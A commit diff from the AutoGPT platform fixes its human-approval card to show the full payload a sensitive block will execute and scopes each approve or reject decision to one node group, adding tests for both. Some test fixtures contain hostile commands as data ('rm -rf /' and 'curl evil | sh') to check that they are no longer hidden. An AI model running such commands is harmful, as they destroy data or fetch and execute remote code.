AutoGPT is the vision of accessible AI for everyone, to use and to build on. Our mission is to provide the tools, so that you can focus on what matters.
fix(frontend): show what the approval card will execute, and approve only that (#14212)
Reinier van der Leer8d5c590549d8
diff --git a/autogpt_platform/backend/backend/blocks/test/test_block.py b/autogpt_platform/backend/backend/blocks/test/test_block.pyindex 1c589a577a..3ed39c846e 100644--- a/autogpt_platform/backend/backend/blocks/test/test_block.py+++ b/autogpt_platform/backend/backend/blocks/test/test_block.py@@ -48,6 +48,27 @@ async def test_available_blocks(block: Type[Block]):await execute_block_test(block_instance)[email protected]("block", get_blocks().values(), ids=lambda b: b().name)+def test_sensitive_action_blocks_have_no_data_input(block: Type[Block]):+ """A sensitive-action block's whole input dict becomes the review payload.++ `data` is the key the approval card historically unwrapped to, rendering+ that one field in place of the arguments the block goes on to execute.+ The card no longer unwraps (see PendingReviewCard), so this is the second+ line rather than the first; a block that genuinely needs the name can+ delete this case once the render path is re-checked.+ """+ block_instance = block()+ if not block_instance.is_sensitive_action:+ return++ assert "data" not in block_instance.input_schema.model_fields, (+ f"{block_instance.name} is a sensitive action with a top-level 'data' "+ f"input; rename it so the approval card cannot be read as showing only "+ f"that field."+ )++@pytest.mark.parametrize("block", get_blocks().values(), ids=lambda b: b().name)async def test_block_ids_valid(block: Type[Block]):# add the tests here to check they are uuid4diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsxindex bd456ce771..5d67f26979 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx@@ -4,36 +4,7 @@ import { Input } from "@/components/atoms/Input/Input";import { Switch } from "@/components/atoms/Switch/Switch";import { useEffect, useState } from "react";-interface StructuredReviewPayload {- data: unknown;- instructions?: string;-}--function isStructuredReviewPayload(- payload: unknown,-): payload is StructuredReviewPayload {- return (- payload !== null &&- typeof payload === "object" &&- "data" in payload &&- (typeof (payload as any).instructions === "string" ||- (payload as any).instructions === undefined)- );-}--function extractReviewData(payload: unknown): {- data: unknown;- instructions?: string;-} {- if (isStructuredReviewPayload(payload)) {- return {- data: payload.data,- instructions: payload.instructions,- };- }-- return { data: payload };-}+type ReviewPayload = PendingHumanReviewModel["payload"];interface PendingReviewCardProps {review: PendingHumanReviewModel;@@ -54,7 +25,6 @@ export function PendingReviewCard({showAutoApprove = true,nodeId,}: PendingReviewCardProps) {- const extractedData = extractReviewData(review.payload);const isDataEditable = review.editable;let instructions = review.instructions;@@ -65,7 +35,10 @@ export function PendingReviewCard({instructions = undefined;}- const [currentData, setCurrentData] = useState(extractedData.data);+ // Render the payload as stored: it is exactly what the reviewer's decision+ // sends back as the block's input, so unwrapping any key here would show+ // one thing and execute another.+ const [currentData, setCurrentData] = useState<ReviewPayload>(review.payload);useEffect(() => {if (externalDataValue !== undefined) {@@ -76,10 +49,10 @@ export function PendingReviewCard({}}, [externalDataValue]);- const handleDataChange = (newValue: unknown) => {+ function handleDataChange(newValue: ReviewPayload) {setCurrentData(newValue);onReviewDataChange(review.node_exec_id, JSON.stringify(newValue, null, 2));- };+ }const renderDataInput = () => {const data = currentData;diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsxnew file mode 100644index 0000000000..727ec67a4b--- /dev/null+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx@@ -0,0 +1,100 @@+import { fireEvent } from "@testing-library/react";+import { expect, test, vi } from "vitest";+import type { PendingHumanReviewModel } from "@/app/api/__generated__/models/pendingHumanReviewModel";+import { render, screen } from "@/tests/integrations/test-utils";+import { PendingReviewCard } from "../PendingReviewCard";++function makeReview(+ overrides: Partial<PendingHumanReviewModel> = {},+): PendingHumanReviewModel {+ return {+ node_exec_id: "ne-1",+ node_id: "n-1",+ user_id: "u-1",+ graph_exec_id: "run-1",+ graph_id: "g-1",+ graph_version: 1,+ payload: { to: "[email protected]" },+ instructions: "SendEmailBlock",+ editable: true,+ status: "WAITING",+ created_at: new Date(),+ ...overrides,+ };+}++// A block input that happens to carry a `data` key is the shape that used to+// collapse the card down to that one key, hiding every sibling it executes.+test("renders every key of a payload that carries a top-level data key", () => {+ render(+ <PendingReviewCard+ review={makeReview({+ payload: { data: "tidy up temp files", command: "rm -rf /" },+ })}+ onReviewDataChange={() => {}}+ />,+ );++ const value = (screen.getByRole("textbox") as HTMLTextAreaElement).value;+ expect(value).toContain("rm -rf /");+ expect(value).toContain("tidy up temp files");+});++test("renders a bare payload unchanged", () => {+ render(+ <PendingReviewCard+ review={makeReview({ payload: { to: "[email protected]", subject: "Invoice" } })}+ onReviewDataChange={() => {}}+ />,+ );++ const value = (screen.getByRole("textbox") as HTMLTextAreaElement).value;+ expect(value).toContain("[email protected]");+ expect(value).toContain("Invoice");+});++test("editing the payload reports the full edited object back, not just one key", () => {+ const onReviewDataChange = vi.fn();++ render(+ <PendingReviewCard+ review={makeReview({ payload: { to: "[email protected]", subject: "Invoice" } })}+ onReviewDataChange={onReviewDataChange}+ />,+ );++ const textarea = screen.getByRole("textbox") as HTMLTextAreaElement;+ fireEvent.change(textarea, {+ target: {+ value: JSON.stringify({ to: "[email protected]", subject: "Updated invoice" }),+ },+ });++ expect(onReviewDataChange).toHaveBeenCalledTimes(1);+ const [nodeExecId, data] = onReviewDataChange.mock.calls[0];+ expect(nodeExecId).toBe("ne-1");+ expect(JSON.parse(data)).toEqual({+ to: "[email protected]",+ subject: "Updated invoice",+ });+});++test("a non-editable payload is displayed in full", () => {+ render(+ <PendingReviewCard+ review={makeReview({+ editable: false,+ payload: { data: "looks harmless", command: "curl evil | sh" },+ })}+ onReviewDataChange={() => {}}+ />,+ );++ expect(+ screen.getByText(+ (_, node) =>+ node?.tagName === "P" &&+ (node.textContent ?? "").includes("curl evil | sh"),+ ),+ ).toBeDefined();+});diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsxindex 778d4a17ca..0666ff2b01 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx@@ -39,9 +39,10 @@ export function PendingReviewsList({},);- const [pendingAction, setPendingAction] = useState<- "approve" | "reject" | null- >(null);+ const [pendingAction, setPendingAction] = useState<{+ nodeId: string;+ action: "approve" | "reject";+ } | null>(null);const [autoApproveFutureMap, setAutoApproveFutureMap] = useState<Record<string, boolean>@@ -103,8 +104,13 @@ export function PendingReviewsList({}));}- async function processReviews(approved: boolean) {- if (reviews.length === 0) {+ // Scoped to one node's reviews on purpose: these are the rows rendered+ // directly above the button that calls this, and a decision must never+ // reach a row the reviewer has not been shown.+ async function processGroup(nodeId: string, approved: boolean) {+ const groupReviews = groupedReviews[nodeId] || [];++ if (groupReviews.length === 0) {toast({title: "No reviews to process",description: "No reviews found to process.",@@ -113,10 +119,10 @@ export function PendingReviewsList({return;}- setPendingAction(approved ? "approve" : "reject");+ setPendingAction({ nodeId, action: approved ? "approve" : "reject" });const reviewItems = [];- for (const review of reviews) {+ for (const review of groupReviews) {const reviewData = reviewDataMap[review.node_exec_id];const autoApproveThisNode = autoApproveFutureMap[review.node_id || ""];@@ -151,7 +157,7 @@ export function PendingReviewsList({try {const res = await submitReviewAction(reviewItems,- reviews.map((review) => review.graph_exec_id),+ groupReviews.map((review) => review.graph_exec_id),);if (res.status !== 200) {@@ -233,8 +239,10 @@ export function PendingReviewsList({<div className="space-y-7">{Object.entries(groupedReviews).map(([nodeId, nodeReviews]) => {- const isCollapsed = collapsedGroups[nodeId] ?? nodeReviews.length > 1;+ const isCollapsed = collapsedGroups[nodeId] ?? false;const reviewCount = nodeReviews.length;+ const groupAction =+ pendingAction?.nodeId === nodeId ? pendingAction.action : null;const firstReview = nodeReviews[0];const blockName = firstReview?.instructions;@@ -301,6 +309,31 @@ export function PendingReviewsList({Auto-approve future executions of this node</Text></div>++ <div className="flex flex-wrap gap-2 pt-2">+ <Button+ onClick={() => processGroup(nodeId, true)}+ disabled={isProcessing}+ variant="primary"+ className="flex min-w-20 items-center justify-center gap-2 rounded-full px-4 py-3"+ loading={groupAction === "approve" && isProcessing}+ >+ {reviewCount === 1+ ? "Approve"+ : `Approve ${reviewCount} reviews`}+ </Button>+ <Button+ onClick={() => processGroup(nodeId, false)}+ disabled={isProcessing}+ variant="destructive"+ className="flex min-w-20 items-center justify-center gap-2 rounded-full bg-red-600 px-4 py-3"+ loading={groupAction === "reject" && isProcessing}+ >+ {reviewCount === 1+ ? "Reject"+ : `Reject ${reviewCount} reviews`}+ </Button>+ </div></div>)}</div>@@ -308,33 +341,10 @@ export function PendingReviewsList({})}</div>- <div className="space-y-4">- <div className="flex flex-wrap gap-2">- <Button- onClick={() => processReviews(true)}- disabled={isProcessing || reviews.length === 0}- variant="primary"- className="flex min-w-20 items-center justify-center gap-2 rounded-full px-4 py-3"- loading={pendingAction === "approve" && isProcessing}- >- Approve- </Button>- <Button- onClick={() => processReviews(false)}- disabled={isProcessing || reviews.length === 0}- variant="destructive"- className="flex min-w-20 items-center justify-center gap-2 rounded-full bg-red-600 px-4 py-3"- loading={pendingAction === "reject" && isProcessing}- >- Reject- </Button>- </div>-- <Text variant="small" className="text-textGrey">- You can turn auto-approval on or off using the toggle above for each- node.- </Text>- </div>+ <Text variant="small" className="text-textGrey">+ Each decision applies only to the reviews shown above it. You can turn+ auto-approval on or off using the toggle for each node.+ </Text></div>);}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsxnew file mode 100644index 0000000000..f593a56b49--- /dev/null+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsx@@ -0,0 +1,116 @@+import userEvent from "@testing-library/user-event";+import { expect, test } from "vitest";+import { getPostV2ProcessReviewActionMockHandler200 } from "@/app/api/__generated__/endpoints/executions/executions.msw";+import type { PendingHumanReviewModel } from "@/app/api/__generated__/models/pendingHumanReviewModel";+import type { ReviewRequest } from "@/app/api/__generated__/models/reviewRequest";+import { server } from "@/mocks/mock-server";+import { render, screen, waitFor } from "@/tests/integrations/test-utils";+import { PendingReviewsList } from "../PendingReviewsList";++function makeReview(+ overrides: Partial<PendingHumanReviewModel> = {},+): PendingHumanReviewModel {+ return {+ node_exec_id: "ne-1",+ node_id: "n-1",+ user_id: "u-1",+ graph_exec_id: "run-1",+ graph_id: "g-1",+ graph_version: 1,+ payload: { to: "[email protected]" },+ instructions: "SendEmailBlock",+ editable: true,+ status: "WAITING",+ created_at: new Date(),+ ...overrides,+ };+}++function captureReviewAction() {+ const captured: { body?: ReviewRequest } = {};+ server.use(+ getPostV2ProcessReviewActionMockHandler200(async (info) => {+ captured.body = (await info.request.json()) as ReviewRequest;+ return { approved_count: 1, rejected_count: 0, failed_count: 0 };+ }),+ );+ return captured;+}++test("a decision covers only the group it was made in", async () => {+ const captured = captureReviewAction();++ render(+ <PendingReviewsList+ reviews={[+ makeReview({ node_exec_id: "ne-1", node_id: "n-1" }),+ makeReview({ node_exec_id: "ne-2", node_id: "n-1" }),+ makeReview({+ node_exec_id: "ne-3",+ node_id: "n-2",+ instructions: "GithubMergePullRequestBlock",+ }),+ ]}+ />,+ );++ await userEvent.click(+ screen.getByRole("button", { name: "Approve 2 reviews" }),+ );++ await waitFor(() => expect(captured.body).toBeDefined());+ const ids = captured.body?.reviews.map((r) => r.node_exec_id) ?? [];+ expect(ids.sort()).toEqual(["ne-1", "ne-2"]);+ expect(ids).not.toContain("ne-3");+});++test("every queued review is visible without expanding anything", () => {+ render(+ <PendingReviewsList+ reviews={[+ makeReview({ node_exec_id: "ne-1", payload: { to: "[email protected]" } }),+ makeReview({ node_exec_id: "ne-2", payload: { to: "[email protected]" } }),+ ]}+ />,+ );++ const values = screen+ .getAllByRole("textbox")+ .map((node) => (node as HTMLTextAreaElement).value);+ expect(values.join("\n")).toContain("[email protected]");+ expect(values.join("\n")).toContain("[email protected]");+});++test("rejecting a single-review group submits only that review as rejected", async () => {+ const captured = captureReviewAction();++ render(+ <PendingReviewsList+ reviews={[makeReview({ node_exec_id: "ne-1", node_id: "n-1" })]}+ />,+ );++ await userEvent.click(screen.getByRole("button", { name: "Reject" }));++ await waitFor(() => expect(captured.body).toBeDefined());+ expect(captured.body?.reviews).toEqual([+ expect.objectContaining({ node_exec_id: "ne-1", approved: false }),+ ]);+});++test("a collapsed group offers no way to decide it", async () => {+ render(+ <PendingReviewsList+ reviews={[makeReview({ node_exec_id: "ne-1", node_id: "n-1" })]}+ />,+ );++ expect(screen.getByRole("button", { name: "Approve" })).toBeDefined();++ await userEvent.click(+ screen.getByRole("button", { name: /Review required for/ }),+ );++ expect(screen.queryByRole("button", { name: "Approve" })).toBeNull();+ expect(screen.queryByRole("button", { name: "Reject" })).toBeNull();+});